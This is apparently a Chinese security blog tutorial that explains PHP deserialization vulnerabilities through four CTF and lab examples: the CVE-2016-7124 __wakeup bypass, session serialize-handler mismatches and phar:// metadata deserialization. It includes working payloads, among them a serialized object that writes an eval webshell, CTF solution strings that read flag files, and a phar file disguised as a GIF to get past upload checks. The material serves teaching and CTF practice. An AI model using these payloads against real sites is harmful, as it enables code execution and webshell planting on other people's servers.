四個例項遞進php反序列化漏洞理解
索引
最近在總結php序列化相關的知識,看了好多前輩師傅的文章,決定對四個理解難度遞進的序列化思路進行一個復現剖析。包括最近Blackhat議題披露的phar拓展php反序列化漏洞攻擊面。前人栽樹,後人乘涼,擔著前輩師傅們的輔拓前行!
D0g3
為了讓大家進入狀態,來一道簡單的反序列化小題,新來的表哥們可以先學習一下php序列化和反序列化。順便安利一下D0g3小組的平臺~ 題目平臺地址:http://ctf.d0g3.cn 題目入口:http://120.79.33.253:9001
頁面給了原始碼
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
提醒大家補充php序列化知識的水題~
直接上傳s:7:"D0g3!!!"
即可get flag
繞過魔法函式的反序列化漏洞
漏洞編號CVE-2016-7124
魔法函式sleep() 和 wakeup()
php文件中定義__wakeup():
unserialize() 執行時會檢查是否存在一個 wakeup() 方法。如果存在,則會先呼叫 wakeup 方法,預先準備物件需要的資源。wakeup()經常用在反序列化操作中,例如重新建立資料庫連線,或執行其它初始化操作。sleep()則相反,是用在序列化一個物件時被呼叫
漏洞剖析
PHP5 < 5.6.25
PHP7 < 7.0.10
PHP官方給了示例:
class hpdoger{
public $a = 'nice to meet u';
}
序列化這個類得到的結果:
O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}
簡單解釋一下這個序列化字串: O代表結構型別為:類,7表示類名長度,接著是類名、屬性(成員)個數 大括號內分別是:屬性名型別、長度、名稱;值型別、長度、值
正常情況下,反序列化一個類得到的結果:
析構方法和__wakeup都能夠執行
如果我們把傳入的序列化字串的屬性個數更改成大於1的任何數
O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}
得到的結果如圖,__wakeup沒有被執行,但是執行了解構函式
假如我們的demo是這樣的呢?
<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>
每次反序列化是都會呼叫__wakeup從而把$a值清空。但是,如果我們繞過wakeup不就能寫Shell了?既然反序列化的內容是可控的,就利用上述的方法繞過wakeup。
poc:
O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}
序列化漏洞常見的魔法函式
construct():當一個類被建立時自動呼叫 destruct():當一個類被銷燬時自動呼叫invoke():當把一個類當作函式使用時自動呼叫 tostring():當把一個類當作字串使用時自動呼叫wakeup():當呼叫unserialize()函式時自動呼叫 sleep():當呼叫serialize()函式時自動呼叫 __call():當要呼叫的方法不存在或許可權不足時自動呼叫
Session反序列化漏洞
Session序列化機制
提到這個漏洞,就得先知道什麼叫Session序列化機制。
當session_start()被呼叫或者php.ini中session.auto_start為1時,PHP內部呼叫會話管理器,訪問使用者session被序列化以後,儲存到指定目錄(預設為/tmp)。
PHP處理器的三種序列化方式: | 處理器 | 對應的儲存格式 | | ————————— |:——————————-| | php_binary | 鍵名的長度對應的ASCII字元+鍵名+經過serialize() 函式反序列處理的值 | | php | 鍵名+豎線+經過serialize()函式反序列處理的值 | |php_serialize |serialize()函式反序列處理陣列方式|
配置檔案php.ini中含有這幾個與session儲存配置相關的配置項:
session.save_path="" --設定session的儲存路徑,預設在/tmp
session.auto_start --指定會話模組是否在請求開始時啟動一個會話,預設為0不啟動
session.serialize_handler --定義用來序列化/反序列化的處理器名字。預設使用php
一個簡單的demo(session.php)認識一下儲存過程:
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['hpdoger'] = $_GET['hpdoger'];
?>
訪問頁面
http://localhost/test/session.php?hpdoger=lover
在session.save_path對應路徑下會生成一個檔案,名稱例如:sess_1ja9n59ssk975tff3r0b2sojd5 因為選擇的序列化處理方式為php_serialize,所以是被serialize()函式處理過的$_SESSION[‘hpdoger’]。儲存檔案內容:
a:1:{s:7:"hpdoger";s:5:"lover";}
如果選擇的序列化處理方式為php,即ini_set('session.serialize_handler','php');
,則儲存內容為:
hpdoger|s:5:"lover";
漏洞剖析
選擇的處理方式不同,序列化和反序列化的方式亦不同。如果網站序列化並存儲Session與反序列化並讀取Session的方式不同,就可能導致漏洞的產生。
這裡提供一個demo:
儲存Session頁面
/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['hpdoger'] = $_GET['hpdoger'];
?>
可利用頁面
/*test.php*/
<?php
ini_set('session.serialize_handler','php');
session_start();
class hpdoger{
var $a;
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>
訪問第一個頁面的poc:
/tmp目錄下生成的session檔案內容:
a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}
再訪問test.php時反序列化已儲存的session,新的php處理方式會把“|”後的值當作KEY值再serialize(),相當於我們例項化了這個頁面的hpdoger類,相當於執行:
$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';
在指定的目錄D:phpStudy//PHPTutorial//WWW//testshell.php中會寫入內容<?php phpinfo()?>
jarvisoj-web的一道SESSION反序列化
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
看到ini_set(‘session.serialize_handler’, ‘php’);
【後面內容有進行改動】
暫時沒找到用php_serialize新增session的方法。但看到當get傳入phpinfo時會例項化OowoO這個類並訪問phpinfo()
這裡參考Chybeta師傅的一個姿勢:session.upload_progress.enabled為On。session.upload_progress.enabled本身作用不大,是用來檢測一個檔案上傳的進度。但當一個檔案上傳時,同時POST一個與php.ini中session.upload_progress.name同名的變數時(session.upload_progress.name的變數值預設為PHP_SESSION_UPLOAD_PROGRESS),PHP檢測到這種同名請求會在$_SESSION中新增一條資料。我們由此來設定session。
構造上傳的表單poc,列出當前目錄:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
再看下原始碼
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>
payloay1:將xxxxx替換為print_r(scandir(dirname(__FILE__)));
,得到序列化結果:
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
為防止轉義,在引號前加上\
。利用前面的html頁面隨便上傳一個東西,抓包,把filename改為如下:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
注意,前面有一個|
,這是session的格式。
通過phpinfo頁面檢視當前路徑_SERVER["SCRIPT_FILENAME"]
將xxx處改為:
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
然後位了防止轉義在加上\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag:
phar偽協議觸發php反序列化
最近Black Hat比較熱的一個議題:It’s a PHP unserialization vulnerability Jim, but not as we know it。參考了創宇的文章,這裡筆者把它作為php反序列化的最後一個模組,希望日後能在以上的幾種反序列化之外拓寬新的思路。
phar://協議
可以將多個檔案歸入一個本地資料夾,也可以包含一個檔案
phar檔案
PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP程式碼檔案和其他資源(例如影象,樣式表等)捆綁到一個歸檔檔案中來實現應用程式和庫的分發。所有PHAR檔案都使用.phar作為副檔名,PHAR格式的歸檔需要使用自己寫的PHP程式碼。
phar檔案結構
這裡摘出創宇提供的四部分結構概要: 1、a stub 識別phar拓展的標識,格式:xxx<?php xxx; __HALT_COMPILER();?>。對應的函式Phar::setStub
2、a manifest describing the contents 被壓縮檔案的許可權、屬性等資訊都放在這部分。這部分還會以序列化的形式儲存使用者自定義的meta-data,這是漏洞利用的核心部分。對應函式Phar::setMetadata—設定phar歸檔元資料
3、 the file contents 被壓縮檔案的內容。
4、[optional] a signature for verifying Phar integrity (phar file format only) 簽名,放在檔案末尾。對應函式Phar :: stopBuffering —停止緩衝對Phar存檔的寫入請求,並將更改儲存到磁碟
Phar內建方法
要想使用Phar類裡的方法,必須將phar.readonly配置項配置為0或Off(文件中定義)
PHP內建phar類,其他的一些方法如下:
$phar = new Phar('phar/hpdoger.phar'); //例項一個phar物件供後續操作
$phar->startBuffering() //開始緩衝Phar寫操作
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字串的形式新增一個檔案到 phar 檔案
$phar->buildFromDirectory('fileTophar') //把一個目錄下的檔案歸檔到phar檔案
$phar->extractTo() //解壓一個phar包的函式,extractTo 提取phar文件內容
漏洞剖析
檔案的第二部分a manifest describing the contents可知,phar檔案會以序列化的形式儲存使用者自定義的meta-data,在一些檔案操作函式執行的引數可控,引數部分我們利用Phar偽協議,可以不依賴unserialize()直接進行反序列化操作,在讀取phar檔案裡的資料時反序列化meta-data,達到我們的操控目的。
而在一些上傳點,我們可以更改phar的檔案頭並且修改其後綴名繞過檢測,如:test.gif,裡面的meta-data卻是我們提前寫入的惡意程式碼,而且可利用的檔案操作函式又很多,所以這是一種不錯的繞過+執行的方法。
檔案上傳繞過deomo
自己寫了個醜陋的程式碼,只允許gif檔案上傳(實則有其他方法繞過,這裡不贅述),程式碼部分如下
前端上傳
<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="hpdoger">
<input type="submit" name="submit">
</form>
後端驗證
/*upload.php*/
<?php
/*返回字尾名函式*/
function getExt($filename){
return substr($filename,strripos($filename,'.')+1);
}
/*檢測MIME型別是否為gif*/
if($_FILES['hpdoger']['type'] != "image/gif"){
echo "Not allowed !";
exit;
}
else{
$filenameExt = strtolower(getExt($_FILES['hpdoger']['name'])); /*提取字尾名*/
if($filenameExt != 'gif'){
echo "Not gif !";
}
else{
move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
echo "Successfully!";
}
}
?>
程式碼判斷了MIME型別+字尾判斷,如下是我測試php檔案的兩個結果: 直接上傳php
抓包更改content-type為 image/gif再次上傳
可以看到兩次都被拒絕上傳,那我們更改phar字尾名再次上傳
php環境編譯生成一個phar檔案,程式碼如下:
<?php
class not_useful{
var $file = "<?php phpinfo() ?>";
}
@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif檔案頭
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
這裡例項的類是為後面的demo做鋪墊,php檔案同目錄下生成hpdoger.phar檔案,我們更改名稱為hpdoger.gif看一下
gif頭、phar識別序列、序列化後的字串都具備
上傳一下看能否成功,成功繞過檢測在服務端儲存一個hpdoger.gif
利用Phar://偽協議demo
我們已經上傳了可解析的phar檔案,現在需要找到一個檔案操作函式的頁面來利用,這裡筆者寫一個比較雞肋的頁面,目的是還原流程而非真實情況。
程式碼如下:reapperance.php
<?php
$recieve = $_GET['recieve'];
/*寫入檔案類操作*/
class not_useful{
var $file;
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w"); //自定義寫入路徑
fputs($fp,$this->file);
fclose($fp);
}
file_get_contents($recieve);
?>
$recieve可控,符合我們的利用條件。那我們構造payload:
若執行成功,會將剛才寫入meta-data資料裡面序列化的類進行反序列化,並且例項了$file成員,導致檔案寫入,成功寫入如下:
可利用的檔案操作函式
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize
各種檔案頭
型別 | 標識 |
---|---|
JPEG | 頭標識ff d8 ,結束標識ff d9 |
PNG | 頭標識89 50 4E 47 0D 0A 1A 0A |
GIF | 頭標識(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a |
BMP | 頭標識(2 bytes) 42 4D BM |